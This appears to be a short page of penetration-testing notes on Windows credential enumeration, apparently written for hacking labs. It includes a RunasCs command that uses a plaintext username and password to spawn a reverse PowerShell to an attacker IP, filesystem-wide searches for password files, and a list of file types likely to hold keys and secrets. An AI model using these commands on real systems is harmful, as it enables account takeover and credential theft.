Credentials enumeration

switch users using: 

\runas.exe c.bum Tikkycoll_431012284 powershell -r 10.10.14.92:8088
LogoGitHub - antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exeGitHub

File Enumeration:

File check:

dir /b /a /s C:\ > dirs.txt - list all dirs and files

type dirs.txt | findstr /i passw - find docs with passwords

Potentially attactive file types:

certificates: gpg, pgp, p12, der, csr, cer

keys: pem, ppk, idrsa, id_dsa

backup files: bak, backup, log

Executable: bat, cmd, vbs

Config: conf, cnf, ini, xml

VPN/ RDP: ovpn, vnc, ssh, rdg (mRemoteNG), ftp, .git, .env (docker)

Potentially attractive files:

Registry Enumeration:

Registry search:

Potentially interesting Registry:

Run with 'reg query "REG"'

Credential Manager:

PreviousSystem EnumerationNextUnsecure Service Path

Last updated